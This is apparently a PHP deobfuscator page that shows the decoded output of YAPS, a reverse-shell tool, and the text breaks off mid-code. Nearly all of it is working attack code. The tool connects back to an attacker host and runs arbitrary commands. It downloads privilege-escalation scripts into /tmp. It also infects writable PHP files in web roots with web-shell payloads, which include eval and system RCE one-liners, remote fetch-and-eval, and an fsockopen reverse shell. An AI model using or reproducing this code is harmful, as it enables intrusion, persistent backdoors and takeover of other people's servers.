Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto QGPoz; pjNJ3: $xD1XF = false; goto v31ws; l6S9P: $H2VFm = array("\141\x6c\154\..
Decoded Output download
<?php
goto QGPoz; pjNJ3: $xD1XF = false; goto v31ws; l6S9P: $H2VFm = array("all-colors", "color", "duplicate", "enum", "help", "infect", "info", "passwd", "php", "stabilize", "suggester"); goto Hq9IW; LpxCm: if (!(php_sapi_name() == "cli")) { goto ag_lZ; } goto rXlem; BmdWU: ini_set("default_socket_timeout", pow(99, 6)); goto Z20wU; gUF59: function h2S1z() { goto jqT4Z; jqT4Z: global $xebfD, $xMbBb; goto cefOX; LTznu: $UZ2FE = (int) str_replace(".", '', $ioe4i); goto ygJQx; tQgyB: $ioe4i = $Ya3CV; goto VORv6; VORv6: KfVOY: goto LTznu; DAbe4: echo awT6Z("[i]") . " Your version is not up to date.\xa" . f3vE0("[DOWNLOAD v" . str_replace("\xa", '', $ioe4i) . "]: ") . $xMbBb["updateURL"] . "
"; goto DGt1K; sEwlQ: if (!$Ya3CV) { goto KfVOY; } goto tQgyB; WeDq9: if (!($UZ2FE !== 0 && $UZ2FE > $sMW83)) { goto GSKyd; } goto DAbe4; cefOX: $ioe4i = 0; goto LHt1U; DGt1K: return; goto Z3cFt; PWFc9: $Ya3CV = Nk5x0($xMbBb["verifyUpdateURL"]); goto sEwlQ; ygJQx: $sMW83 = (int) str_replace(".", '', $xebfD); goto WeDq9; nYhmV: return; goto sZUyp; Z3cFt: GSKyd: goto oNGY8; oNGY8: echo f3ve0("[+] ") . "YAPS is already up to date (v{$xebfD})!
"; goto nYhmV; LHt1U: echo n9Ilw("[i] ") . "Your version: {$xebfD}. Checking for updates...\xa"; goto PWFc9; sZUyp: } goto guQzh; J2I63: $xD1XF = true; goto rhWvb; yx13G: function huQhF($CLARD) { goto fNVBA; G0xH4: return; goto WDKS9; Thig9: foreach ($H2VFm as $nKpKT) { goto Aac_L; sisSa: gRKo9: goto ucexY; Aac_L: similar_text($CLARD, $nKpKT, $iuE01); goto UXqR8; zab_5: return; goto sisSa; ucexY: MUmbu: goto MGSTt; UXqR8: if (!($iuE01 > 70)) { goto gRKo9; } goto z0zPu; z0zPu: fwrite($uhabo, YuaT6("[!] ") . "Command '!{$CLARD}' not found. Did you mean '!" . $nKpKT . "'?.
"); goto zab_5; MGSTt: } goto ih9Pl; ZYbD6: fwrite($uhabo, YuAt6("[!] ") . "Command '!" . substr($B5Fzl, 1, -1) . "' not found. Use !help.\xa"); goto G0xH4; ih9Pl: bU39E: goto ZYbD6; fNVBA: global $uhabo, $H2VFm; goto Thig9; WDKS9: } goto xdRGX; raSj4: NX5_7: goto e3vL1; t6i1K: if (!$HgTE6) { goto Ym3gI; } goto lIWFc; A41J3: if (isset($_REQUEST["stabilize"]) && $_REQUEST["stabilize"]) { goto NX5_7; } goto hMjzI; lX7Z9: function KBrWn() { goto SzZcH; DWtlO: IWgOe: goto AqL9Q; gzxgp: return false; goto y0eCN; z1UAI: $x4fyd = file_get_contents($M2vrL); goto PeAn1; iN0pF: $GxCAX = false; goto NKllb; KH1gJ: fwrite($uhabo, AwT6z("[-] ") . "Couldn't deactivate password.\xa"); goto BAqzn; BAqzn: return false; goto DWtlO; AqL9Q: $CufM3 = preg_replace("/(\$use_password += +)(false)/", "$1true", $x4fyd, 1); goto zul8m; Vb_zH: if (!file_put_contents($M2vrL, $CufM3)) { goto uFF8M; } goto iN0pF; SzZcH: global $GxCAX, $uhabo, $M2vrL; goto z1UAI; XGxrZ: VC1DL: goto uwoHm; PeAn1: if (!$GxCAX) { goto IWgOe; } goto RV9fS; NKllb: fwrite($uhabo, f3ve0("[+] ") . "Password deactivated.
"); goto K6b4j; uwoHm: fwrite($uhabo, Awt6z("[-] ") . "Couldn't activate password.
"); goto gzxgp; VvB2O: return true; goto XGxrZ; RV9fS: $CufM3 = preg_replace("/(\$use_password += +)(true)/", "$1false", $x4fyd, 1); goto Vb_zH; K6b4j: return true; goto z1uHP; z1uHP: uFF8M: goto KH1gJ; vpiiQ: $GxCAX = false; goto UAzMW; UAzMW: fwrite($uhabo, F3vE0("[+] ") . "Password activated.\xa"); goto VvB2O; zul8m: if (!file_put_contents($M2vrL, $CufM3)) { goto VC1DL; } goto vpiiQ; y0eCN: } goto uBNhu; rXlem: if ($argc >= 2 && preg_match("/^[0-9]+$/", $argv[$argc - 1])) { goto MWxhT; } goto VFasZ; RWyv3: if (!(isset($JdZ3h["s"]) || isset($JdZ3h["silent"]))) { goto dAFYi; } goto J2I63; sIvL8: die(wXFY1()); goto Vi22B; vFVV1: die(AWT6Z("[-] ") . "Couldn't connect to socket {$cQPaX}:{$rpc4Z}."); goto dGYVi; iEi9A: function AVOfN() { } goto Cm_e7; cj8Qs: function oiPiR($GXImm) { global $vIiwX; return $vIiwX ? "\33[97m" . $GXImm . "\33[0m" : $GXImm; } goto ut07K; lrvX1: Ym3gI: goto A41J3; RF2SJ: $cUxHT = "[YAPS] " . str_replace(PHP_EOL, '', F3ve0(rROj3("whoami") . "@" . rRoj3("hostname")) . ":" . n9ilW(rRoj3("pwd")) . "$ "); goto Hqgam; VFasZ: foreach ($argv as $kFRIi) { goto swjQL; swjQL: if (!(strpos($kFRIi, ":") !== false)) { goto kX9yp; } goto IEJuk; U9pAo: $rpc4Z = (int) $rxU9o[1]; goto Dj1MV; Mo1wP: $cQPaX = $rxU9o[0]; goto U9pAo; IEJuk: $rxU9o = explode(":", $kFRIi); goto Mo1wP; Dj1MV: kX9yp: goto oxi46; oxi46: Bo5ys: goto GpmSE; GpmSE: } goto RJvRn; dB_FX: if (!(isset($JdZ3h["u"]) || isset($JdZ3h["update"]))) { goto Bl_zz; } goto yoo3n; TbUbd: $WoC0p = array("update::", "help::", "silent::"); goto qgQIQ; ZkRG8: if (!(isset($JdZ3h["h"]) || isset($JdZ3h["help"]))) { goto H5lpw; } goto sIvL8; S45x_: $cQPaX = "127.0.0.1"; goto ycjnx; zRW7w: function tGeMZ() { goto dIjJZ; yawA0: M0nvj: goto qxQKg; SNFuo: foreach ($nuAkD as $olpJM) { try { $jwqgp = TWWE0($olpJM); $DjMSp = array_merge($DjMSp, $jwqgp); } catch (Exception $q9his) { } gZ8sy: } goto sWsxc; RDubP: Yx37V: goto P51SN; S2nTd: goto M0nvj; goto MDEqy; aZ4ws: Q8yl1: goto THPYS; RHgJv: return; goto S2nTd; yB_xq: nrBb3: goto Xi4mb; d2ZJC: $Rbepn = explode(",", $Rbepn); goto pz2sI; NIVcx: kdHlD: goto QrhSI; P51SN: $WV7Df = 0; goto NIVcx; THPYS: $y4hdb = array(); goto LgjTx; MDEqy: gbDAZ: goto PvNk_; LG9Pm: goto kdHlD; goto J6IQz; yhV07: fwrite($uhabo, N9ilw("
[*] ") . OIpIr("Choose the files you want to infect.\xa Separate by comma (e.g:1,5,7,8) and/or by range (e.g:10-16).\xa Files: ")); goto yawA0; J6IQz: nr30n: goto yhV07; qxQKg: if (!($zXjQF = fread($uhabo, 1024))) { goto gbDAZ; } goto jiZMX; jiZMX: $Rbepn = str_replace(" ", '', substr($zXjQF, 0, -1)); goto d2ZJC; P4Z8D: $nuAkD = array("/var/www/", "/srv/", "/usr/local/apache2/", "/var/apache2/", "/var/www/nginx-default/"); goto AUe1a; QrhSI: if (!($WV7Df < count($DjMSp))) { goto nr30n; } goto e0vSb; LgjTx: foreach ($Rbepn as $WAWAi) { goto OZ2E4; sjOiR: goto h7q19; goto O58y2; GSViH: array_push($y4hdb, $WV7Df); goto xCnrC; BRd29: $WV7Df++; goto sjOiR; OZ2E4: if (!preg_match("/^[0-9]+$/", $WAWAi)) { goto odeYI; } goto nKYm5; JxeTt: QYdab: goto rQAeD; Mbmp_: if (!((int) $WV7Df <= $Xemoh[1])) { goto NN4O6; } goto GSViH; xCnrC: BLzr3: goto BRd29; nKYm5: array_push($y4hdb, $WAWAi); goto NNKRN; VI2xX: h7q19: goto Mbmp_; rQAeD: YPxPF: goto WnF26; V755V: DTphN: goto JxeTt; O58y2: NN4O6: goto V755V; RZyKo: $WV7Df = (int) $Xemoh[0]; goto VI2xX; NNKRN: odeYI: goto G5hMK; G5hMK: if (!preg_match("/^[0-9]+\-[0-9]+$/", $WAWAi)) { goto QYdab; } goto vxQ5R; leWD4: if (!((int) $Xemoh[0] < (int) $Xemoh[1])) { goto DTphN; } goto RZyKo; vxQ5R: $Xemoh = explode("-", $WAWAi); goto leWD4; WnF26: } goto yB_xq; sWsxc: k2T4w: goto i3tn4; oCkwa: return; goto aZ4ws; dIjJZ: global $uhabo; goto P4Z8D; e0vSb: fwrite($uhabo, awT6Z("[{$WV7Df}] ") . $DjMSp[$WV7Df] . PHP_EOL); goto vDs1t; Fm5Ux: $WV7Df++; goto LG9Pm; Tzj9w: MYmVx($DjMSp, array_unique($y4hdb)); goto RHgJv; AUe1a: $DjMSp = array(); goto SNFuo; NBeae: fwrite($uhabo, N9ILw("[*] ") . OIpIr("Found " . count($DjMSp) . " writable PHP files:\xa")); goto RDubP; vDs1t: nPDOz: goto Fm5Ux; i3tn4: if (!(count($DjMSp) > 0)) { goto Yx37V; } goto NBeae; pz2sI: if (!(count($Rbepn) == 1 && $Rbepn[0] == '')) { goto Q8yl1; } goto oCkwa; Xi4mb: sort($y4hdb, SORT_NUMERIC); goto Tzj9w; PvNk_: } goto jeq3J; ycjnx: $rpc4Z = 7359; goto gxdx5; jeq3J: function mYMVx($WcFd8, $y4hdb) { goto nyQD7; bwBrX: return; goto hwjLs; lHfBj: $Wrock = 0; goto F4VIb; V60LL: me1gn: goto Ui1fu; VYnLW: foreach ($lrdza as $kW0w8 => $vFg21) { goto GFwkY; xXlw3: $WV7Df = !$WV7Df; goto rbevS; rbevS: NWe13: goto Jm2ER; Nyc8O: fwrite($uhabo, $jIucy . "
"); goto xXlw3; GFwkY: $jIucy = $WV7Df ? N9ILW($kW0w8) . $vFg21 : n9ILw($kW0w8) . OiPir($vFg21); goto Nyc8O; Jm2ER: } goto DgdFC; olh70: $PQPgA = $F4WQY; goto XceIe; Mz6tL: KO441: goto J2p1R; DgdFC: XeXBo: goto bhRqR; i38Qp: goto KO441; goto UNO6E; UNO6E: goto me1gn; goto Mz6tL; KdH6D: $WV7Df = true; goto VYnLW; OIdbJ: goto d2mBM; goto J7ZeC; Mjveo: $Wrock = 1; goto rLo8Q; UJDvz: if (!((int) $F4WQY <= count($lrdza) + 1)) { goto NzMCq; } goto olh70; J7ZeC: goto ou4UO; goto Amt4J; Amt4J: d2mBM: goto XrivY; XceIe: NzMCq: goto i38Qp; Ui1fu: if (!($F4WQY = fread($uhabo, 128))) { goto KO441; } goto v0rm7; v0rm7: $PQPgA = 0; goto UJDvz; XrivY: UYa22($WcFd8, $y4hdb, (int) $PQPgA, $lrdza, (int) $Wrock); goto bwBrX; ZjlDC: if (!($Wrock = fread($uhabo, 128))) { goto d2mBM; } goto Mjveo; J2p1R: fwrite($uhabo, n9iLw("[?] ") . Oipir("Do you want do insert the payload at the beginning [0] or end [1] of the file (default: 1)? ")); goto nxzty; RpnqE: $lrdza = array("0. TinyRCE\x9" => "<?=`$_REQUEST[0]`;?>", "1. ClassicRCE " => "<?=@system($_REQUEST[0]);?>", "2. Eval " => "<?=@eval($_REQUEST[0]);?>", "3. BasedEval\x9" => "<?=@eval(base64_decode($_REQUEST[0]));?>", "4. RemotePHP\x9" => "<?=@eval(file_get_contents($_REQUEST[0]));?>", "5. RemoteUpload " => "<?=$x=rand(100,999);@file_put_contents("./".$x.".".$_REQUEST[1],@file_get_contents($_REQUEST[0]));echo $x.$_REQUEST[1];?>", "6. LocalUpload " => "<?php if(isset($_FILES["0"]))if(move_uploaded_file($_FILES["0"]["tmp_name"],"_".$_FILES["0"]["name"]))echo"Uploaded: _".$_FILES["0"]["name"];?>", "7. StableShell " => "<?php $a="script -qc /bin/bash /dev/null";umask(0);$b=fsockopen($_REQUEST[0],$_REQUEST[1],$c,$d,30);$e=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$f=proc_open($a,$e,$g);foreach($g as $p)stream_set_blocking($p,0);stream_set_blocking($b,0);while(!feof($b)){$i=array($b,$g[1],$g[2]);if(in_array($b,$i))fwrite($g[0],fread($b,2048));if(in_array($g[1],$i))fwrite($b,fread($g[1],2048));if(in_array($g[2],$i))fwrite($b,fread($g[2],2048));}fclose($b);foreach($g as $p)fclose($p);proc_close($f);?>"); goto GUoH4; F4VIb: oT3Nw: goto OIdbJ; bhRqR: fwrite($uhabo, N9ILw("\xa[?] ") . oiPir("Choose a payload to infect the selected files (default:0): ")); goto V60LL; nxzty: ou4UO: goto ZjlDC; nyQD7: global $uhabo; goto RpnqE; rLo8Q: if (!((int) $Wrock === 0)) { goto oT3Nw; } goto lHfBj; GUoH4: fwrite($uhabo, n9ilw("\xa[i] ") . OiPiR("List of payloads available:
")); goto KdH6D; hwjLs: } goto kuiOY; iX619: function yuAT6($GXImm) { global $vIiwX; return $vIiwX ? "\33[93m" . $GXImm . "\x1b[0m" : $GXImm; } goto LXiL6; B8toS: function s4Rg1() { goto V4VLU; SCOOq: if (!($B5Fzl = fread($uhabo, 4096))) { goto wz1lL; } goto LDbh7; QBAqy: oCFW2: goto SCOOq; v2zV4: if (!(substr($B5Fzl, 0, -1) == "!cancel")) { goto lGivq; } goto EKIOn; Wc55u: wz1lL: goto oQbKG; emJig: fwrite($uhabo, n9IlW("[*]") . " Write your PHP code (*without* PHP tags). To send and run it, use " . F3Ve0("!php") . ". " . YuAT6("
[i] Note that this is NOT an interactive PHP shell. Max input: 4096 bytes.") . Oipir("
php> ")); goto QBAqy; LDbh7: if (!(substr($B5Fzl, 0, -1) == "!php")) { goto jM4Oc; } goto TuvOO; oQbKG: return $KH_7J; goto ydTSQ; tjxAC: lGivq: goto w3TWl; j73qE: $KH_7J = ''; goto emJig; XST9V: jM4Oc: goto v2zV4; EKIOn: return 0; goto tjxAC; v8N71: goto oCFW2; goto Wc55u; xc6Vr: $KH_7J .= $B5Fzl; goto v8N71; V4VLU: global $uhabo; goto j73qE; TuvOO: return $KH_7J; goto XST9V; w3TWl: fwrite($uhabo, oIPIR("php> ")); goto xc6Vr; ydTSQ: } goto XB1yM; ZKUbC: $cQPaX = $sC5i_[0]; goto tdw0o; DdGcE: function nk5X0($FGeFq) { goto NkQ1c; sf_Ip: XZJQT: goto v01fR; Gm1Pj: EBjKd: goto ALfEM; ALfEM: $en6J9 = file_get_contents($FGeFq); goto FwWf7; zEbl4: goto XZJQT; goto vRBG5; g05FU: MZ4oA: goto sMTga; TCSRq: if (in_array("curl", get_loaded_extensions())) { goto MZ4oA; } goto YcsJ_; T7R4c: xCIsA: goto tFvQG; wDR13: $en6J9 = fread(fopen($FGeFq, "r"), 10); goto kqnSo; vRBG5: xaOIg: goto O3U1b; x7kEV: goto XZJQT; goto Gm1Pj; v01fR: return $en6J9; goto Zafz5; SzrOD: goto XZJQT; goto T7R4c; YJLsq: if (WKzAm("file_get_contents")) { goto EBjKd; } goto BQqOh; y0osr: lZiwq: goto wDR13; sMTga: $L8lp2 = UMBYV(); goto x6iDz; YcsJ_: if ($uevcA = rrOJ3("curl -s " . $FGeFq)) { goto xCIsA; } goto z2EVi; s2TkE: MaHH8($L8lp2, Tj4C4, 1); goto n48qR; Su7FO: EEdLC($L8lp2); goto SzrOD; BQqOh: if (WKZam("fread") && WKzam("fopen") && ini_get("allow_url_fopen")) { goto lZiwq; } goto TCSRq; NkQ1c: $en6J9 = false; goto YJLsq; x6iDz: mAHH8($L8lp2, InJwx, $FGeFq); goto s2TkE; FwWf7: goto XZJQT; goto y0osr; kqnSo: goto XZJQT; goto g05FU; z2EVi: if ($xRE8L = rROj3("wget -qO- " . $FGeFq)) { goto xaOIg; } goto x7kEV; O3U1b: $en6J9 = $xRE8L; goto sf_Ip; tFvQG: $en6J9 = $uevcA; goto zEbl4; n48qR: $en6J9 = ZlSad($L8lp2); goto Su7FO; Zafz5: } goto gUF59; xJh_6: SL9cF: goto qts3A; p33RN: $GxCAX = false; goto c1Msa; Hq9IW: function F3ve0($GXImm) { global $vIiwX; return $vIiwX ? "\x1b[92m" . $GXImm . "\x1b[0m" : $GXImm; } goto s0m14; FjG6i: function jxHB5() { goto coeI6; A5YIq: cQO4D: goto QY3iY; fKRVT: if (chmod("/tmp/" . $OnHZD, 777)) { goto emKoT; } goto i13Rg; QY3iY: return; goto DN6QV; i13Rg: fwrite($uhabo, YUaT6("[!]") . " Couldn't change permissions...
[i] File was saved in " . yUaT6("/tmp/" . $OnHZD . "\xa")); goto J5J7c; s9L6K: i50wK: goto A5YIq; ZrKs0: if (!$OnHZD) { goto cQO4D; } goto qraSW; coeI6: global $uhabo, $xMbBb; goto ihWDD; vHuvT: fwrite($uhabo, f3ve0("[+]") . " Permissions changed! \xa[i] You can run it with " . YUAt6("sh /tmp/" . $OnHZD . " | tee /tmp/LES.log\xa")); goto s9L6K; Sdys9: emKoT: goto vHuvT; ihWDD: $OnHZD = e3Ik9($xMbBb["suggester"], "/tmp/"); goto ZrKs0; J5J7c: goto i50wK; goto Sdys9; qraSW: fwrite($uhabo, f3ve0("[+]") . " Linux Exploit Suggester saved to /tmp/" . $OnHZD . N9Ilw("\xa[i]") . " Changing permissions...
"); goto fKRVT; DN6QV: } goto QnfQm; YrBUH: Bl_zz: goto RWyv3; THObD: $vIiwX = true; goto p33RN; Z20wU: $xMbBb = array("linpeas" => "https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh", "linenum" => "https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "suggester" => "https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh", "verifyUpdateURL" => "https://raw.githubusercontent.com/Nickguitar/YAPS/main/version", "updateURL" => "https://raw.githubusercontent.com/Nickguitar/YAPS/main/yaps.php"); goto S45x_; uVx85: if (!(isset($_POST["x"]) && strpos($_POST["x"], ":") !== false)) { goto GclbV; } goto q6PSH; JP9gn: $cQPaX = $argv[$argc - 2]; goto F6h27; LXiL6: function N9iLW($GXImm) { global $vIiwX; return $vIiwX ? "\33[96m" . $GXImm . "\x1b[0m" : $GXImm; } goto cj8Qs; rhWvb: dAFYi: goto LpxCm; PCPQY: set_time_limit(0); goto zjsja; VZ2O2: ag_lZ: goto l6S9P; gxdx5: $u1E3o = true; goto THObD; c1Msa: $GAr_9 = "v_3_r_Y___G_o_0_d___s_4_L_t"; goto gLJIQ; guQzh: function tWWE0($olpJM) { goto kmpXH; VnDhc: sort($jwqgp); goto vZnWf; HNcBk: Van_n: goto VnDhc; pMQ1e: $jwqgp = array(); goto csgSE; vZnWf: return $jwqgp; goto RV2K0; kmpXH: $qGtVW = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($olpJM)); goto pMQ1e; csgSE: foreach ($qGtVW as $WAWAi) { goto IpG9M; Z1EPc: if (!($WAWAi->getPathName() !== $_SERVER["SCRIPT_FILENAME"])) { goto vgz9C; } goto YJlmB; bRe58: cTMUN: goto POI7L; YJlmB: if (!(substr($WAWAi->getPathName(), -4) == ".php")) { goto Wr85A; } goto adSkr; qgRLe: Wr85A: goto oXt6m; IpG9M: if (!(!is_dir($WAWAi) && is_writable($WAWAi))) { goto cTMUN; } goto Z1EPc; adSkr: array_push($jwqgp, $WAWAi->getPathName()); goto qgRLe; oXt6m: vgz9C: goto bRe58; POI7L: MFOtn: goto FuqO_; FuqO_: } goto HNcBk; RV2K0: } goto zRW7w; e3vL1: $RKYHn = $_POST["x"]; goto iREwo; ut07K: function jbeiQ() { global $XHy50; return $XHy50 . OiPir("\xa This is ") . AwT6Z("NOT") . OIpir(" an interactive shell.
Use ") . f3Ve0("!help") . oIpIR(" to see commands."); } goto ZWvp6; QGPoz: $xebfD = "1.3.1"; goto PCPQY; lIWFc: h2S1z(); goto lrvX1; iZriP: function Q3dl6($Gl4gZ) { goto ceh6n; ceh6n: global $GAr_9, $M2vrL, $uhabo; goto uSRNY; Q6kor: return true; goto yYVje; LdWR7: u2P3R: goto YjmBr; uSRNY: $pTmHu = hash("sha512", $GAr_9 . hash("sha512", $Gl4gZ, false), false); goto TdZmD; YjmBr: $x4fyd = file_get_contents($M2vrL); goto jFjdH; tHUyh: return false; goto LdWR7; Di0Je: goto TT9ui; goto kBLrR; pMDyL: if (file_put_contents($M2vrL, $CufM3)) { goto b0pQU; } goto ci2P9; jFjdH: $CufM3 = preg_replace("/[a-f0-9]{128}/", $pTmHu, $x4fyd, 1); goto pMDyL; kBLrR: b0pQU: goto CXIp6; CXIp6: fwrite($uhabo, f3Ve0("[+] ") . "Password changed. Changes will take effect on next connection.\xa"); goto Q6kor; XZPPM: return false; goto Di0Je; ci2P9: fwrite($uhabo, Awt6z("[-] ") . "Couldn't read or write the file. Are the permissions right?\xa" . RroJ3("ls -l " . $M2vrL . "\xa")); goto XZPPM; yYVje: TT9ui: goto ObXHP; TdZmD: if (!(!is_readable($M2vrL) || !is_writable($M2vrL))) { goto u2P3R; } goto tHUyh; ObXHP: } goto lX7Z9; RPoRC: Ltc3h(); goto ZrUAL; xdRGX: function ltc3H() { goto O779I; gELx3: if (in_array(strtolower(substr($B5Fzl, 1, -1)), $H2VFm)) { goto HuDtY; } goto ncCyE; D317y: goto P6chZ; goto Bn8Ox; FfqFZ: if (substr($B5Fzl, 0, 1) == "!") { goto mEerq; } goto TV6kQ; hU96G: gZWte(1); goto wo7dc; SzD8o: ZkF40: goto JOZpe; TV6kQ: if (substr($B5Fzl, 0, 3) == "cd ") { goto ZkF40; } goto Ej3WB; sLSY_: if (!($elN6C === false)) { goto B4aae; } goto XsxLZ; cshzT: fwrite($uhabo, jBEiQ() . "\xa"); goto kriEF; ndxqI: if (!($B5Fzl = fread($uhabo, 2048))) { goto P6chZ; } goto s1mdS; ElkdR: goto pjkpr; goto gGACm; HZUpe: fwrite($uhabo, "\xa" . $cUxHT); goto GdPXv; XsxLZ: fwrite($uhabo, AWt6z("[-] There are no exec functions")); goto D317y; g8MHn: die; goto msxfa; uOeGX: goto OKFTf; goto vcAQ7; XOodP: GzwTE(); goto HZUpe; jdce1: A2Y77: goto fbSmR; tjx17: toAS3: goto gZWZP; Bn8Ox: B4aae: goto PRUJs; eRC5g: P6chZ: goto K2CC6; K2CC6: fclose($uhabo); goto D2slY; wo7dc: if (WkzaM("fsockopen")) { goto toAS3; } goto sUstI; ncCyE: HuqHF(substr($B5Fzl, 1, -1)); goto uOeGX; S3hHw: goto uy79L; goto eRC5g; vcAQ7: HuDtY: goto Xmpuz; MmssG: die(fwrite($uhabo, aWt6Z("[-]") . " Wrong password.\xa")); goto jgr10; PRUJs: gzWTE(); goto weS80; YGP0M: if (!(!isset($_REQUEST["silent"]) && !isset($_REQUEST["s"]) && !$xD1XF)) { goto TY2GJ; } goto cshzT; gGACm: mEerq: goto gELx3; msxfa: pjkpr: goto sLSY_; jgr10: UonRI: goto WkW9u; VX80Z: fclose($uhabo); goto g8MHn; IqosZ: goto pjkpr; goto jdce1; kriEF: TY2GJ: goto XOodP; JOZpe: chdir(substr($B5Fzl, 3, -1)); goto IqosZ; Xmpuz: $elN6C = UNK5v($B5Fzl); goto Vkb5a; GdPXv: uy79L: goto ndxqI; JPdOg: $elN6C = rROJ3(substr($B5Fzl, 0, -1)); goto ElkdR; Vkb5a: OKFTf: goto xqIms; gZWZP: if (!$GxCAX) { goto c1shJ; } goto ZELXZ; Ej3WB: if (substr($B5Fzl, 0, -1) == "exit") { goto A2Y77; } goto JPdOg; fbSmR: fwrite($uhabo, YUaT6("[i] ") . "Closing connection.\xa"); goto VX80Z; xqIms: goto pjkpr; goto SzD8o; O779I: global $GxCAX, $H2VFm, $cUxHT, $uhabo, $xD1XF; goto hU96G; s1mdS: $elN6C = ''; goto FfqFZ; ZELXZ: if (osfeM()) { goto UonRI; } goto MmssG; WkW9u: c1shJ: goto YGP0M; sUstI: die(AWT6z("[-]") . " Function 'fsockopen' isn't available."); goto tjx17; weS80: fwrite($uhabo, $elN6C . $cUxHT); goto S3hHw; D2slY: } goto t6i1K; F6h27: zWlXh: goto VZ2O2; k4_PD: $rgl2_ = "u::h::s::"; goto TbUbd; WHA4F: if ($uhabo) { goto rMZiE; } goto vFVV1; UAOKw: GclbV: goto LaeAp; pr3GV: function RROJ3($B5Fzl) { goto sCgbg; pe6QH: $GePei = shell_exec($B5Fzl); goto XV91J; A7xHP: ob_end_clean(); goto BI19k; cU03V: NC2Z2: goto vm1Hy; NPtw3: goto sAkSc; goto Tehvs; TDlDA: $GePei = NULL; goto iUCXL; il4YP: goto rR20X; goto LfRLE; VC9uI: if (wKzam("exec")) { goto lXgyZ; } goto J9J0s; U8gdU: $u5V1q = proc_open($B5Fzl, array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")), $jl75r); goto GYZCG; ekzKh: if (wkzAm("proc_open")) { goto C72cb; } goto wNMUT; kB1ag: goto NC2Z2; goto b7XDL; i2ucC: $GePei = join(chr(10), $GePei) . chr(10); goto hNG8O; tcDNh: system($B5Fzl); goto OpwgY; yYtoB: dhALK: goto tElic; kHRBC: exec($B5Fzl, $GePei); goto i2ucC; iUCXL: if (!is_resource($dJ6pT)) { goto av88k; } goto cU03V; GYZCG: $GePei = NULL; goto sZQt7; dvN9_: @pclose($dJ6pT); goto EteEZ; xDgEw: C72cb: goto U8gdU; LLLA3: @proc_close($u5V1q); goto gbZdc; b7XDL: Bcyi4: goto n4obn; EteEZ: DomQ7: goto E12jb; KYNlE: ob_start(); goto tcDNh; qFT9M: TaByh: goto ak4S1; hNG8O: rR20X: goto NZs0w; nbSAT: if (feof($jl75r[1])) { goto tAWFb; } goto DCqm4; Hq6iv: $GePei .= fread($dJ6pT, 1024); goto kB1ag; NZs0w: return $GePei; goto HhzS7; n4obn: av88k: goto dvN9_; XV91J: dO2JO: goto il4YP; WLI97: $dJ6pT = popen($B5Fzl, "r"); goto TDlDA; sCgbg: $B5Fzl = $B5Fzl . " 2>&1\xa"; goto VC9uI; JPj6n: goto P0GhY; goto xDgEw; OpwgY: $GePei = ob_get_contents(); goto A7xHP; RKqgY: ob_end_clean(); goto yYtoB; n1y80: if (WKZAm("popen")) { goto QJORJ; } goto Pk0aA; fvW1Y: $GePei = ob_get_contents(); goto RKqgY; oQNgA: goto Ih8k5; goto RUIoU; sZQt7: Ih8k5: goto nbSAT; wmLB3: passthru($B5Fzl); goto fvW1Y; EUM_w: $GePei = 0; goto NPtw3; E12jb: goto dO2JO; goto uN0ks; gbZdc: P0GhY: goto PrH91; uN0ks: qhwDM: goto pe6QH; DCqm4: $GePei .= fread($jl75r[1], 1024); goto oQNgA; Pk0aA: if (WkZam("passthru")) { goto TaByh; } goto ekzKh; wNMUT: if (wKZam("system")) { goto insDB; } goto EUM_w; MaB2d: QJORJ: goto WLI97; PrH91: goto dhALK; goto qFT9M; BI19k: sAkSc: goto JPj6n; vm1Hy: if (feof($dJ6pT)) { goto Bcyi4; } goto Hq6iv; ak4S1: ob_start(); goto wmLB3; CWqRE: $GePei = array(); goto kHRBC; Tehvs: insDB: goto KYNlE; tElic: goto DomQ7; goto MaB2d; RUIoU: tAWFb: goto LLLA3; LfRLE: lXgyZ: goto CWqRE; J9J0s: if (wkzaM("shell_exec")) { goto qhwDM; } goto n1y80; HhzS7: } goto RF2SJ; geBy7: function KqycU($G8_xz = '') { goto o5TrN; eiItL: $kiHut = (int) $B5Fzl; goto NkkxR; Ua9Aj: return; goto G3Vjb; NH0_w: return; goto bqRr2; T4Ghn: return; goto bqiAE; aLpTM: zUwrF: goto oOc9r; r2Ax_: dNQ27: goto OKNdZ; bqiAE: UYCWV: goto CRX8J; hMT3W: shell_exec("echo " . $f0FyI . "| base64 -d | php -r '$stdin=file("php://stdin");eval($stdin[0]);'"); goto Ua9Aj; G3Vjb: z9IrO: goto Adm71; NkkxR: if ($kiHut > 65535 || $kiHut == 0) { goto zUwrF; } goto BX39_; R7UWI: $zm0Nr = $sC5i_[0]; goto e9qM2; wyxaE: if (!(strlen($B5Fzl) > 0)) { goto dNQ27; } goto eiItL; CRX8J: $j6vks = $_SERVER["REQUEST_SCHEME"] . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto WahCT; zOoqK: u3KgK: goto OnBfH; M1vHT: uo4Qf: goto kviku; bqRr2: goto gykiL; goto aLpTM; k0K4s: gykiL: goto r2Ax_; e9qM2: $V45D_ = $sC5i_[1]; goto OT6x5; kviku: if (!($B5Fzl = fread($uhabo, 8))) { goto u3KgK; } goto wyxaE; nefo1: pclose(popen("echo " . $f0FyI . "| base64 -d | php -r '$stdin=file("php://stdin");eval($stdin[0]);' &", "r")); goto T4Ghn; VHVry: $bdStf = 